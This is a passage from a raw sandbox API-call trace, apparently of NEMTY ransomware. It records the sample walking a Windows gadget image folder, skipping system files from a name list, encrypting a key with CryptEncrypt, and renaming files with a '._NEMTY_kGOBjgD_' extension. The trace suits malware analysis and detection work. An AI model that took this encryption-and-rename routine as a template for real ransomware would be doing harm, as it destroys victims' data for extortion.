hHeap=0x4f90000) returned 1 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 22 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.445] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_snow.png", cchWideChar=22, lpMultiByteStr=0x4f9ed08, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_snow.png", lpUsedDefaultChar=0x0) returned 22 [0169.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340188 [0169.445] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0169.445] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63400d0 [0169.445] Sleep (dwMilliseconds=0x5) [0169.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18a73d50, dwHighDateTime=0x1d561e8)) [0169.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18a73d50, dwHighDateTime=0x1d561e8)) [0169.460] GetLastError () returned 0x5 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.461] GetLastError () returned 0x5 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.461] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0169.461] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0169.461] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340240 [0169.461] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340240, pcchString=0x653e91c | out: pszString="nB+2uk8xlxDgO+QUPN+arDNOEa0HQCRnrBqro+OE3bE2anpnvQkDYk/QORjU8vZp\r\n/wer282rPOxkuNaC9dztWZnH6ezwwttGq/MgzZDQm4i7zJRX1mURa/IZY6zOePHV\r\nh//AINgdkyeWs8C5ch4AxLhH/7Qxpukqvzko1W3KCezyaE96yMftcHTF1C1ZDlYo\r\n0nlCwv5tHFE1inhEhrMGOCtj86KkpqKNnGDqWrgeExrPZWN+kaRbdvpPUvIcvBSx\r\nOF3ZiA1ppSEvV36oU9XL86GoFAONEI9DGDnVqtDTQ3JCQUkzQka4NYV1r5ZGmlR/\r\nsYowMoWYGtS8c4eJsYatTA==\r\n", pcchString=0x653e91c) returned 1 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0169.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.461] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340240 [0169.461] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0169.461] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_snow.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0169.462] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0169.462] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0169.462] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.462] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.471] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.471] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.471] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.481] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.481] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.481] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.490] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.490] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.490] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.500] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.500] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.500] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.509] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.509] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.509] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.519] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.519] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.519] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.528] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.528] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.528] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.537] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.538] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.538] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.538] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.547] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.547] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.547] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.556] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.556] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.557] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.562] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.562] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.563] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.563] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0169.568] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.568] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.569] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0169.569] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340240, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0169.569] CloseHandle (hObject=0xffffffff) returned 0 [0169.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x63403b0 [0169.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0169.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0169.569] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0169.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0169.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340468 [0169.569] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x6343fe8 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340468 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0169.569] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_snow.png" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_snow.png"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\Weather.Gadget\\images\\undocked_gray_snow.png._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\weather.gadget\\images\\undocked_gray_snow.png._nemty_kgobjgd_")) returned 0 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6343fe8 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340240 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400d0 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0169.569] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.569] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x87089e72, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x87089e72, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x36e7fc11, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x92d0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="undocked_gray_thunderstorm.png", cAlternateFileName="")) returned 1 [0169.569] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2=".") returned 1 [0169.569] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="..") returned 1 [0169.569] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="...") returned 1 [0169.569] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="windows") returned -1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="$RECYCLE.BIN") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="rsa") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="NTDETECT.COM") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="ntldr") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="MSDOS.SYS") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="IO.SYS") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="boot.ini") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="boot.ini") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="AUTOEXEC.BAT") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="ntuser.dat") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="desktop.ini") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="CONFIG.SYS") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="RECYCLER") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="BOOTSECT.BAK") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="bootmgr") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="programdata") returned 1 [0169.570] lstrcmpiW (lpString1="undocked_gray_thunderstorm.png", lpString2="appdata") returned 1 [0169.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0169.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 30 [0169.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345d60 [0169.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0169.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 30 [0169.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0169.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345d60 | out: hHeap=0x4f90000) returned 1 [0169.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0169.570] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0169.570] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x4f9ecb8, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 30 [0169.570] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0169.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0169.571] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="undocked_gray_thunderstorm.png", cchWideChar=30, lpMultiByteStr=0x4f9ed08, cbMultiByte=30, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="undocked_gray_thunderstorm.png", lpUsedDefaultChar=0x0) returned 30 [0169.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x6340240 [0169.571] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340188 | out: hHeap=0x4f90000) returned 1 [0169.571] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xc0) returned 0x63400d0 [0169.571] Sleep (dwMilliseconds=0x5) [0169.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18ba4850, dwHighDateTime=0x1d561e8)) [0169.585] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x18ba4850, dwHighDateTime=0x1d561e8)) [0169.585] GetLastError () returned 0x5 [0169.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0169.585] GetLastError () returned 0x5 [0169.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0169.585] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0169.585] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0169.586] CryptEncrypt 